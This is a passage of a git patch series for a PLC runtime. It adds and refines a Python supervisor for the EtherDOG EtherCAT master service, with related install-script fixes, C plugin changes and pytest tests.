@@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""Supervises EtherDOG, the EtherCAT master service, and talks to it. + +Starts it, hands it the bus configuration from the upload, and forwards commands. plc_main +reaches it through the session file written here (control endpoint + token). +""" + +from __future__ import annotations + +import json +import os +import platform +import secrets +import shutil +import socket +import subprocess +import threading +import time +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from webserver.logger import get_logger + +logger, _ = get_logger("logger", use_buffer=True) + +IS_WINDOWS = platform.system() != "Linux" + +DEFAULT_BINARY = "./build/etherdog" +DEFAULT_RUN_DIR = Path("/run/runtime") +BUSCONFIG_NAME = "ethercat_busconfig.json" +DEFAULT_BUSCONFIG_PATH = Path("./build/plugins") / BUSCONFIG_NAME + +RESTART_BACKOFF_S = 2.0 +MAX_BACKOFF_S = 30.0 +MONITOR_INTERVAL_S = 1.0 + + +class EtherDogUnavailable(RuntimeError): + """EtherDOG is not installed, not running, or refused the request.""" + + +@dataclass +class EtherDogPaths: + binary: str + run_dir: Path + busconfig: Path + + @property + def control(self) -> str: + if IS_WINDOWS: + return "tcp:127.0.0.1:18444" + return f"unix:{self.run_dir / 'etherdog.socket'}" + + @property + def state_dir(self) -> Path: + return self.run_dir / "etherdog" + + @property + def session_file(self) -> Path: + return self.run_dir / "etherdog.json" + + @property + def token_file(self) -> Path: + return self.state_dir / "token" + + +def _connect(control: str, timeout: float) -> socket.socket: + if control.startswith("unix:"): + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect(control[len("unix:") :]) + return sock + host, _, port = control[len("tcp:") :].rpartition(":") + return socket.create_connection((host, int(port)), timeout=timeout) + + +class EtherDogManager: + """Start, supervise and command one EtherDOG process.""" + + def __init__( + self, + binary: str = DEFAULT_BINARY, + run_dir: Path = DEFAULT_RUN_DIR, + busconfig: Path = DEFAULT_BUSCONFIG_PATH, + log_socket: str | None = None, + ) -> None: + self.paths = EtherDogPaths(binary=binary, run_dir=run_dir, busconfig=busconfig) + # Same log server plc_main writes to, so EtherDOG's lines reach the runtime log stream. + self.log_socket = log_socket or f"unix:{run_dir / 'log_runtime.socket'}" + self._token = "" + self._process: subprocess.Popen[str] | None = None + self._lock = threading.Lock() + self._running = False + self._backoff = RESTART_BACKOFF_S + self._monitor: threading.Thread | None = None + + # --- process lifecycle ------------------------------------------------------------- + + @property + def installed(self) -> bool: + return os.path.isfile(self.paths.binary) or os.path.isfile(self.paths.binary + ".exe") + + def start(self) -> None: + """Start EtherDOG (if installed) and keep it running.""" + if not self.installed: + logger.info("EtherDOG not installed at %s; EtherCAT is unavailable", self.paths.binary) + return + self._running = True + self._write_session() + self._spawn() + self._monitor = threading.Thread(target=self._supervise, daemon=True) + self._monitor.start() + + def stop(self) -> None: + self._running = False + proc = self._process + if proc is not None and proc.poll() is None: + try: + self.command({"command": "shutdown"}, timeout=5.0) + except EtherDogUnavailable: + pass + try: + proc.wait(timeout=10) + except subprocess.TimeoutExpired: + proc.kill() + + def _write_session(self) -> None: + self.paths.state_dir.mkdir(parents=True, exist_ok=True) + os.chmod(self.paths.state_dir, 0o700) + self._token = secrets.token_hex(32) + _write_private(self.paths.token_file, self._token + "\n") + session = { + "control": self.paths.control, + "token": self._token, + "data": "udp" if IS_WINDOWS else "unix", + } + _write_private(self.paths.session_file, json.dumps(session) + "\n") + + def _spawn(self) -> None: + cmd = [ + self.paths.binary, + "--control", + self.paths.control, + "--token-file", + str(self.paths.token_file), + "--state-dir", + str(self.paths.state_dir), + "--log-socket", + self.log_socket, + ] + try: + self._process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + ) + except OSError as e: + logger.error("Failed to start EtherDOG: %s", e) + self._process = None + return + threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True).start() + if self._wait_ready(timeout=10.0): + logger.info("EtherDOG started (pid %d)", self._process.pid) + self._reapply_busconfig() + else: + logger.error("EtherDOG did not open its control socket in time") + + def _pump_logs(self, proc: subprocess.Popen[str]) -> None: + """Drain EtherDOG's stderr. Its lines already reach the log stream through the log + socket, so only errors are repeated here, for the window before that socket is up.""" + assert proc.stdout is not None + for line in proc.stdout: + line = line.rstrip() + if line and "[ERROR]" in line: + logger.debug("[ETHERDOG stderr] %s", line) + + def _wait_ready(self, timeout: float) -> bool: + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + if self._process is None or self._process.poll() is not None: + return False + try: + self.command({"command": "status"}, timeout=2.0) + return True + except EtherDogUnavailable: + time.sleep(0.2) + return False + + def _supervise(self) -> None: + while self._running: + time.sleep(MONITOR_INTERVAL_S) + proc = self._process + if not self._running or (proc is not None and proc.poll() is None): + continue + code = proc.returncode if proc is not None else None + logger.warning("EtherDOG exited (code %s); restarting in %.0f s", code, self._backoff) + time.sleep(self._backoff) + self._backoff = min(self._backoff * 2, MAX_BACKOFF_S) + if self._running: + self._spawn() + if self._process is not None and self._process.poll() is None: + self._backoff = RESTART_BACKOFF_S + + # --- commands ------------------------------------------------------------------------ + + def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, Any]: + """Send one command and return EtherDOG's JSON reply.""" + if not self.installed: + raise EtherDogUnavailable("EtherDOG is not installed") + try: + with _connect(self.paths.control, timeout) as sock: + sock.settimeout(timeout) + reader = sock.makefile("r", encoding="utf-8") + hello = {"command": "hello", "params": {"token": self._token}} + sock.sendall(json.dumps(hello).encode() + b"\n") + reply = json.loads(reader.readline() or "{}") + if "error" in reply: + raise EtherDogUnavailable(reply["error"]) + sock.sendall(json.dumps(request).encode() + b"\n") + line = reader.readline() + except (OSError, ValueError) as e: + raise EtherDogUnavailable(f"EtherDOG unreachable: {e}") from e + if not line: + raise EtherDogUnavailable("EtherDOG closed the connection") + try: + result = json.loads(line) + except ValueError as e: + raise EtherDogUnavailable(f"invalid reply from EtherDOG: {e}") from e + return result if isinstance(result, dict) else {"error": "invalid reply from EtherDOG"} + + def plugin_style_command(self, request: dict[str, Any], timeout: float) -> dict[str, Any]: + """Same contract as RuntimeManager.send_plugin_command: errors come back as {"error"}.""" + try: + return self.command(request, timeout=timeout) + except EtherDogUnavailable as e: + return {"error": str(e)} + + # --- bus configuration ----------------------------------------------------------------- + + def apply_busconfig(self, source: Path | None) -> None: + """Install the bus configuration from an upload (None removes it) and load it.""" + with self._lock: + if source is not None: + self.paths.busconfig.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(source, self.paths.busconfig) + elif self.paths.busconfig.exists(): + self.paths.busconfig.unlink() + if self.installed and self._process is not None and self._process.poll() is None: + self._configure_locked() + + def _reapply_busconfig(self) -> None: + with self._lock: + self._configure_locked() + + def _configure_locked(self) -> None: + path = self.paths.busconfig + params = {"path": str(path.resolve())} if path.exists() else {} + try: + # The bus belongs to the program being replaced; stop it before reconfiguring. + self.command({"command": "stop"}, timeout=15.0) + result = self.command({"command": "configure", "params": params}, timeout=15.0) + except EtherDogUnavailable as e: + logger.error("Could not configure EtherDOG: %s", e) + return + if "error" in result: + logger.error("EtherDOG rejected the bus configuration: %s", result["error"]) + elif params: + logger.info("EtherDOG bus configuration loaded from %s", path) + + +def _write_private(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(text) + os.chmod(path, 0o600) + + +def legacy_ethercat_config_in_use(conf_dir: Path) -> bool: + """True when an upload carries the pre-split ethercat.json with real masters in it. + + Editors before the split always wrote conf/ethercat.json, empty when the project has no + EtherCAT, so only a file that actually describes masters is a problem. + """ + legacy = conf_dir / "ethercat.json" + if not legacy.exists(): + return False + try: + data = json.loads(legacy.read_text(encoding="utf-8") or "null") + except (OSError, ValueError): + return False + return isinstance(data, list) and any( + isinstance(m, dict) and str(m.get("protocol", "")).upper() == "ETHERCAT" for m in data + ) diff --git a/webserver/plugin_config_model.py b/webserver/plugin_config_model.py index ac40b828..0e486651 100644 --- a/webserver/plugin_config_model.py +++ b/webserver/plugin_config_model.py @@ -20,6 +20,11 @@ logger, _ = get_logger(__name__) + +# Plugins configured by a file whose name is not the plugin name. The EtherCAT client plugin +# reads the Editor's I/O mapping; the bus half (ethercat_busconfig.json) goes to EtherDOG. +PLUGIN_CONFIG_ALIASES: dict[str, str] = {"ethercat": "ethercat_iomapping"} + class PluginType(IntEnum): """Plugin type enumeration.""" PYTHON = 0 @@ -317,6 +322,12 @@ def update_plugins_from_config_dir(self, config_dir: str, copy_to_plugin_dirs: b # Get available config files config_files = glob.glob(os.path.join(config_dir, "*.json")) available_configs = {os.path.splitext(os.path.basename(f))[0]: f for f in config_files} + # A plugin whose config file is named differently from the plugin itself. + for plugin_name, config_name in PLUGIN_CONFIG_ALIASES.items(): + if config_name in available_configs: + available_configs[plugin_name] = available_configs[config_name] + else: + available_configs.pop(plugin_name, None) updates = [] plugins_updated = 0 From 23189212dacb6a582d6d6c0def5acfd6c5007433 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 08:01:31 -0400 Subject: [PATCH 02/22] chore(release): bump VERSION to v4.3.0 First runtime with the EtherCAT master in EtherDOG; editors emit the split EtherCAT configuration from this version on. Refs: RTOP-296 Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- VERSION | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/VERSION b/VERSION index 1f69a7da..9ca23982 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -v4.2.4 +v4.3.0 From 42cfb5cc2249af3c01592908ce847163f8befd98 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 09:05:35 -0400 Subject: [PATCH 03/22] fix(install): avoid pacman partial upgrades on MSYS2 pacman -Sy followed by -S cmake installed a cmake linked against a newer jsoncpp than the one on disk (msys-jsoncpp-27.dll missing). Skip pacman when every package is present, otherwise upgrade with -Syu, and repair a cmake that does not run. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- install.sh | 45 +++++++++++++++++++++++++++++---------------- 1 file changed, 29 insertions(+), 16 deletions(-) diff --git a/install.sh b/install.sh index 10a89a1e..22946fde 100755 --- a/install.sh +++ b/install.sh @@ -328,27 +328,40 @@ install_deps_apk() { # For MSYS2 on Windows install_deps_msys2() { echo "Installing dependencies via pacman (MSYS2)..." - # Update package database (but don't do full system upgrade to avoid breaking frozen bundles) - pacman -Sy --noconfirm - # Install required packages # Note: python-cryptography is installed via pacman because pip cannot build # Rust-based packages on MSYS2/Cygwin. # Plugin venvs use --system-site-packages to access these pre-built packages. # bcrypt is skipped on MSYS2 - the OPC-UA plugin uses PBKDF2 fallback (Python stdlib). - pacman -S --noconfirm --needed \ - base-devel \ - gcc \ - make \ - cmake \ - pkg-config \ - python \ - python-pip \ - python-setuptools \ - python-cryptography \ - git \ - sqlite3 \ - msys2-w32api-headers \ + local pkgs=( + base-devel + gcc + make + cmake + pkg-config + python + python-pip + python-setuptools + python-cryptography + git + sqlite3 + msys2-w32api-headers msys2-w32api-runtime + ) + # pacman does not support partial upgrades (-Sy then -S): a newer package can land + # without the newer libraries it links against. Leave a complete bundle untouched, + # otherwise upgrade the whole system together with the install. + if ! pacman -T "${pkgs[@]}" >/dev/null; then + pacman -Syu --noconfirm --needed "${pkgs[@]}" + fi + # Repair an install already broken by an earlier partial upgrade + if ! cmake --version >/dev/null 2>&1; then + echo "cmake does not run, upgrading MSYS2 packages to repair it..." + pacman -Syu --noconfirm + if ! cmake --version >/dev/null 2>&1; then + echo "ERROR: cmake still does not run after upgrading MSYS2 packages" >&2 + exit 1 + fi + fi } compile_plc() { From 906d651a97ac56faa895f3d95b2adce4d066d40a Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 09:33:20 -0400 Subject: [PATCH 04/22] fix(etherdog): point to Npcap when EtherDOG cannot load its DLLs on Windows Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- webserver/etherdog_manager.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index c820e1a9..727835d6 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -36,6 +36,7 @@ RESTART_BACKOFF_S = 2.0 MAX_BACKOFF_S = 30.0 MONITOR_INTERVAL_S = 1.0 +DLL_NOT_FOUND_EXIT = 127 class EtherDogUnavailable(RuntimeError): @@ -199,6 +200,12 @@ def _supervise(self) -> None: continue code = proc.returncode if proc is not None else None logger.warning("EtherDOG exited (code %s); restarting in %.0f s", code, self._backoff) + # 127 on Windows: a DLL failed to load, usually wpcap.dll + if IS_WINDOWS and code == DLL_NOT_FOUND_EXIT: + logger.error( + "EtherCAT requires Npcap (https://npcap.com) to access the network " + "interface. Please install Npcap and restart the runtime." + ) time.sleep(self._backoff) self._backoff = min(self._backoff * 2, MAX_BACKOFF_S) if self._running: From 835ee314adbf988e9eb0b2cc6b7f804278eef068 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 09:33:59 -0400 Subject: [PATCH 05/22] fix(install): update an existing EtherDOG checkout to ETHERDOG_REF Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- install.sh | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/install.sh b/install.sh index 22946fde..1e35a545 100755 --- a/install.sh +++ b/install.sh @@ -601,7 +601,14 @@ build_etherdog() { fi if [ -z "$src" ]; then src="$OPENPLC_DIR/third_party/etherdog" - if [ ! -f "$src/CMakeLists.txt" ]; then + if [ -d "$src/.git" ]; then + log_info "Updating EtherDOG ($ETHERDOG_REF)..." + if ! { git -C "$src" fetch --quiet --depth 1 origin "$ETHERDOG_REF" && + git -C "$src" checkout --quiet --force FETCH_HEAD && + git -C "$src" submodule update --quiet --init --recursive --depth 1; }; then + log_warning "Could not update EtherDOG; building the existing copy." + fi + elif [ ! -f "$src/CMakeLists.txt" ]; then log_info "Fetching EtherDOG ($ETHERDOG_REF) from $ETHERDOG_REPO..." rm -rf "$src" mkdir -p "$(dirname "$src")" From 0bf1686e493ce02e09dc3d2569de872d2e0e25df Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 10:02:33 -0400 Subject: [PATCH 06/22] fix(etherdog): disable EtherDOG instead of restarting it forever The runtime runs without EtherDOG; only EtherCAT is lost. The supervisor now: - restarts EtherDOG as soon as it exits instead of after a growing backoff; - disables it at once when it can never start (missing Npcap or another library, bad command line, cannot be executed, not installed); - disables it after 3 exits within 30 s, the runtime's safe-mode policy; - retries on the next program upload. The reason goes in the session file, and the plugin logs it as a warning and skips EtherCAT rather than failing to start. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../plugins/native/ethercat/ethercat_plugin.c | 12 +- .../plugins/native/ethercat/etherdog_link.c | 6 + .../plugins/native/ethercat/etherdog_link.h | 5 +- .../pytest/discovery/test_etherdog_manager.py | 97 ++++++++++++ webserver/etherdog_manager.py | 143 +++++++++++++----- 5 files changed, 223 insertions(+), 40 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index d57bb565..fc47764d 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -75,8 +75,9 @@ static int call_json(edl_link_t *link, const char *command, char *resp, size_t s static int link_up(char *err, size_t err_size) { edl_session_t session; - if (edl_read_session(g_session_file, &session, err, err_size) != 0) - return -1; + int session_rc = edl_read_session(g_session_file, &session, err, err_size); + if (session_rc != 0) + return session_rc; if (edl_connect(&g_link, &session, err, err_size) != 0) return -1; @@ -258,7 +259,12 @@ int start_loop(void) } char err[512]; - if (link_up(err, sizeof(err)) != 0) { + int rc = link_up(err, sizeof(err)); + if (rc == EDL_DISABLED) { + plugin_logger_warn(&g_logger, "%s", err); + return 0; + } + if (rc != 0) { plugin_logger_error(&g_logger, "EtherCAT start failed: %s", err); return -1; } diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.c b/core/src/drivers/plugins/native/ethercat/etherdog_link.c index f88e27af..6fbbf747 100644 --- a/core/src/drivers/plugins/native/ethercat/etherdog_link.c +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.c @@ -59,6 +59,12 @@ int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err text[n] = '\0'; cJSON *root = cJSON_Parse(text); + const cJSON *disabled = root ? cJSON_GetObjectItemCaseSensitive(root, "disabled") : NULL; + if (cJSON_IsString(disabled)) { + snprintf(err, err_size, "EtherCAT is disabled: %s", disabled->valuestring); + cJSON_Delete(root); + return EDL_DISABLED; + } const cJSON *control = root ? cJSON_GetObjectItemCaseSensitive(root, "control") : NULL; if (!cJSON_IsString(control)) { snprintf(err, err_size, "EtherDOG session file %s has no 'control' endpoint", path); diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.h b/core/src/drivers/plugins/native/ethercat/etherdog_link.h index fb91aa44..59b78324 100644 --- a/core/src/drivers/plugins/native/ethercat/etherdog_link.h +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.h @@ -43,7 +43,10 @@ typedef struct { bool open[EDL_MAX_MASTERS]; } edl_link_t; -/** Read the webserver's session file. Returns 0, or -1 with @p err filled. */ +/** edl_read_session: the webserver disabled EtherDOG; @p err holds the reason. */ +#define EDL_DISABLED (-2) + +/** Read the webserver's session file. Returns 0, EDL_DISABLED or -1, with @p err filled. */ int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err_size); void edl_init(edl_link_t *link); diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index be1814ba..9218d415 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -8,10 +8,12 @@ import socket import tempfile import threading +import time from pathlib import Path import pytest +from webserver import etherdog_manager from webserver.discovery.discovery_routes import _with_plugin_state from webserver.etherdog_manager import ( EtherDogManager, @@ -132,3 +134,98 @@ def test_session_file_is_private(run_dir: Path) -> None: assert session["control"].startswith("unix:") assert os.stat(manager.paths.session_file).st_mode & 0o077 == 0 assert os.stat(manager.paths.token_file).st_mode & 0o077 == 0 + + +def _fake_binary(run_dir: Path, body: str) -> EtherDogManager: + """An executable that counts its launches in /launches, then runs @body.""" + binary = run_dir / "etherdog-bin" + binary.write_text(f'#!/bin/sh\necho x >> "{run_dir}/launches"\n{body}\n') + binary.chmod(0o755) + return EtherDogManager(binary=str(binary), run_dir=run_dir) + + +def _launches(run_dir: Path) -> int: + path = run_dir / "launches" + return len(path.read_text().splitlines()) if path.exists() else 0 + + +def _wait_for(predicate, timeout: float = 5.0) -> bool: + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + if predicate(): + return True + time.sleep(0.05) + return False + + +def _session(manager: EtherDogManager) -> dict: + return json.loads(manager.paths.session_file.read_text()) + + +def test_missing_binary_disables_without_raising(run_dir: Path) -> None: + manager = EtherDogManager(binary=str(run_dir / "absent"), run_dir=run_dir) + manager.start() + assert "not installed" in manager.disabled_reason + assert "not installed" in _session(manager)["disabled"] + assert "not installed" in manager.plugin_style_command({"command": "status"}, 1.0)["error"] + + +def test_missing_npcap_disables_after_one_exit(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", True) + manager = _fake_binary( + run_dir, + "echo 'etherdog.exe: error while loading shared libraries: wpcap.dll: " + "cannot open shared object file' >&2; exit 127", + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert manager.disabled_reason == etherdog_manager.NPCAP_REASON + assert _session(manager)["disabled"] == etherdog_manager.NPCAP_REASON + time.sleep(0.5) + assert _launches(run_dir) == 1 + + +def test_missing_library_on_linux_is_fatal(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", False) + manager = _fake_binary( + run_dir, "echo 'libfoo.so: cannot open shared object file' >&2; exit 127" + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert "libfoo.so" in manager.disabled_reason + assert _launches(run_dir) == 1 + + +def test_rapid_exits_disable_after_limit(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 1") + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert f"{etherdog_manager.MAX_RAPID_EXITS} times" in manager.disabled_reason + assert _launches(run_dir) == etherdog_manager.MAX_RAPID_EXITS + + +def test_restart_is_immediate(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.2) + # First launch exits, the second stays up + manager = _fake_binary( + run_dir, f'[ "$(wc -l < "{run_dir}/launches")" -gt 1 ] && exec sleep 30\nexit 1' + ) + started = time.monotonic() + manager.start() + try: + assert _wait_for(lambda: _launches(run_dir) == 2, timeout=3.0) + assert time.monotonic() - started < 2.0 + assert manager.disabled_reason is None + finally: + manager._running = False + if manager._process is not None: + manager._process.kill() + + +def test_new_program_retries_disabled_etherdog(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 1") + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + manager.apply_busconfig(None) + assert _wait_for(lambda: _launches(run_dir) > etherdog_manager.MAX_RAPID_EXITS) + assert _wait_for(lambda: manager.disabled_reason is not None) diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index 727835d6..0bf22720 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -18,6 +18,7 @@ import subprocess import threading import time +from collections import deque from dataclasses import dataclass from pathlib import Path from typing import Any @@ -33,10 +34,19 @@ BUSCONFIG_NAME = "ethercat_busconfig.json" DEFAULT_BUSCONFIG_PATH = Path("./build/plugins") / BUSCONFIG_NAME -RESTART_BACKOFF_S = 2.0 -MAX_BACKOFF_S = 30.0 -MONITOR_INTERVAL_S = 1.0 -DLL_NOT_FOUND_EXIT = 127 +# Same policy as the PLC runtime: this many exits within the window disables EtherDOG +MAX_RAPID_EXITS = 3 +RAPID_EXIT_WINDOW_S = 30.0 +READY_TIMEOUT_S = 10.0 +OUTPUT_TAIL_LINES = 20 + +USAGE_ERROR_EXIT = 2 +MISSING_LIBRARY_EXITS = (127, 0xC0000135) # Cygwin loader, Windows STATUS_DLL_NOT_FOUND +NPCAP_MARKERS = ("wpcap", "packet.dll", "npcap") +NPCAP_REASON = ( + "Npcap is not installed; EtherCAT requires Npcap (https://npcap.com) to access the " + "network interface. Install it and restart the runtime" +) class EtherDogUnavailable(RuntimeError): @@ -93,9 +103,12 @@ def __init__( self.log_socket = log_socket or f"unix:{run_dir / 'log_runtime.socket'}" self._token = "" self._process: subprocess.Popen[str] | None = None + self._pump: threading.Thread | None = None + self._output: deque[str] = deque(maxlen=OUTPUT_TAIL_LINES) self._lock = threading.Lock() self._running = False - self._backoff = RESTART_BACKOFF_S + self._exit_times: list[float] = [] + self._disabled_reason: str | None = None self._monitor: threading.Thread | None = None # --- process lifecycle ------------------------------------------------------------- @@ -104,14 +117,20 @@ def __init__( def installed(self) -> bool: return os.path.isfile(self.paths.binary) or os.path.isfile(self.paths.binary + ".exe") + @property + def disabled_reason(self) -> str | None: + """Why EtherDOG is not running, or None while it is supervised.""" + return self._disabled_reason + def start(self) -> None: - """Start EtherDOG (if installed) and keep it running.""" + """Start EtherDOG (if installed) and keep it running. Never raises: without EtherDOG + the runtime still runs, only EtherCAT is unavailable.""" if not self.installed: - logger.info("EtherDOG not installed at %s; EtherCAT is unavailable", self.paths.binary) + self._disable(f"EtherDOG is not installed at {self.paths.binary}") return + self._disabled_reason = None + self._exit_times.clear() self._running = True - self._write_session() - self._spawn() self._monitor = threading.Thread(target=self._supervise, daemon=True) self._monitor.start() @@ -128,6 +147,15 @@ def stop(self) -> None: except subprocess.TimeoutExpired: proc.kill() + def _disable(self, reason: str) -> None: + self._running = False + self._disabled_reason = reason + logger.warning("%s. EtherCAT is disabled; the runtime continues without it.", reason) + try: + _write_private(self.paths.session_file, json.dumps({"disabled": reason}) + "\n") + except OSError as e: + logger.error("Could not write the EtherDOG session file: %s", e) + def _write_session(self) -> None: self.paths.state_dir.mkdir(parents=True, exist_ok=True) os.chmod(self.paths.state_dir, 0o700) @@ -140,7 +168,8 @@ def _write_session(self) -> None: } _write_private(self.paths.session_file, json.dumps(session) + "\n") - def _spawn(self) -> None: + def _spawn(self) -> bool: + """Start the process. False when it cannot be executed at all.""" cmd = [ self.paths.binary, "--control", @@ -152,7 +181,9 @@ def _spawn(self) -> None: "--log-socket", self.log_socket, ] + self._output.clear() try: + self._write_session() self._process = subprocess.Popen( cmd, stdout=subprocess.PIPE, @@ -161,24 +192,26 @@ def _spawn(self) -> None: bufsize=1, ) except OSError as e: - logger.error("Failed to start EtherDOG: %s", e) self._process = None - return - threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True).start() - if self._wait_ready(timeout=10.0): + self._disable(f"EtherDOG cannot be started: {e}") + return False + self._pump = threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True) + self._pump.start() + if self._wait_ready(timeout=READY_TIMEOUT_S): logger.info("EtherDOG started (pid %d)", self._process.pid) self._reapply_busconfig() - else: + elif self._process.poll() is None: logger.error("EtherDOG did not open its control socket in time") + return True def _pump_logs(self, proc: subprocess.Popen[str]) -> None: - """Drain EtherDOG's stderr. Its lines already reach the log stream through the log - socket, so only errors are repeated here, for the window before that socket is up.""" + """Drain EtherDOG's stdout/stderr and keep the tail for exit diagnosis. Its log lines + already reach the log stream through the log socket.""" assert proc.stdout is not None for line in proc.stdout: line = line.rstrip() - if line and "[ERROR]" in line: - logger.debug("[ETHERDOG stderr] %s", line) + if line: + self._output.append(line) def _wait_ready(self, timeout: float) -> bool: deadline = time.monotonic() + timeout @@ -192,31 +225,48 @@ def _wait_ready(self, timeout: float) -> bool: time.sleep(0.2) return False + def _record_exit(self) -> bool: + """Record an exit; True when it is one too many within the window.""" + now = time.monotonic() + self._exit_times = [t for t in self._exit_times if now - t < RAPID_EXIT_WINDOW_S] + self._exit_times.append(now) + return len(self._exit_times) >= MAX_RAPID_EXITS + def _supervise(self) -> None: + if not self._spawn(): + return while self._running: - time.sleep(MONITOR_INTERVAL_S) proc = self._process - if not self._running or (proc is not None and proc.poll() is None): - continue - code = proc.returncode if proc is not None else None - logger.warning("EtherDOG exited (code %s); restarting in %.0f s", code, self._backoff) - # 127 on Windows: a DLL failed to load, usually wpcap.dll - if IS_WINDOWS and code == DLL_NOT_FOUND_EXIT: - logger.error( - "EtherCAT requires Npcap (https://npcap.com) to access the network " - "interface. Please install Npcap and restart the runtime." + if proc is None: + return + code = proc.wait() + if self._pump is not None: + self._pump.join(timeout=2.0) + if not self._running: + return + output = list(self._output) + reason = _fatal_exit_reason(code, output) + if reason is not None: + for line in output[-5:]: + logger.error("[ETHERDOG] %s", line) + self._disable(reason) + return + if self._record_exit(): + self._disable( + f"EtherDOG exited {MAX_RAPID_EXITS} times within {RAPID_EXIT_WINDOW_S:.0f} s " + f"(last exit code {code})" ) - time.sleep(self._backoff) - self._backoff = min(self._backoff * 2, MAX_BACKOFF_S) - if self._running: - self._spawn() - if self._process is not None and self._process.poll() is None: - self._backoff = RESTART_BACKOFF_S + return + logger.warning("EtherDOG exited (code %s); restarting", code) + if not self._spawn(): + return # --- commands ------------------------------------------------------------------------ def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, Any]: """Send one command and return EtherDOG's JSON reply.""" + if self._disabled_reason is not None: + raise EtherDogUnavailable(self._disabled_reason) if not self.installed: raise EtherDogUnavailable("EtherDOG is not installed") try: @@ -257,8 +307,13 @@ def apply_busconfig(self, source: Path | None) -> None: shutil.copy2(source, self.paths.busconfig) elif self.paths.busconfig.exists(): self.paths.busconfig.unlink() - if self.installed and self._process is not None and self._process.poll() is None: + if self._running and self._process is not None and self._process.poll() is None: self._configure_locked() + return + # A new program gets a fresh start, as the PLC runtime does after safe mode + if self._disabled_reason is not None and self.installed: + logger.info("Retrying EtherDOG for the new program") + self.start() def _reapply_busconfig(self) -> None: with self._lock: @@ -280,6 +335,22 @@ def _configure_locked(self) -> None: logger.info("EtherDOG bus configuration loaded from %s", path) +def _fatal_exit_reason(code: int, output: list[str]) -> str | None: + """Why EtherDOG can never start as installed, or None when a restart may help.""" + text = "\n".join(output).lower() + missing_library = ( + code in MISSING_LIBRARY_EXITS or "error while loading shared libraries" in text + ) + if missing_library: + if IS_WINDOWS and (any(m in text for m in NPCAP_MARKERS) or not output): + return NPCAP_REASON + detail = output[-1] if output else f"exit code {code}" + return f"EtherDOG cannot load a required library ({detail})" + if code == USAGE_ERROR_EXIT: + return "EtherDOG rejected its command line (exit code 2)" + return None + + def _write_private(path: Path, text: str) -> None: path.parent.mkdir(parents=True, exist_ok=True) fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) From ebc998b16e610eed312bb0d269d600ebb2d2e33a Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 11:26:57 -0400 Subject: [PATCH 07/22] fix(etherdog): do not restart EtherDOG on shutdown Ctrl+C reaches EtherDOG too, and it exited 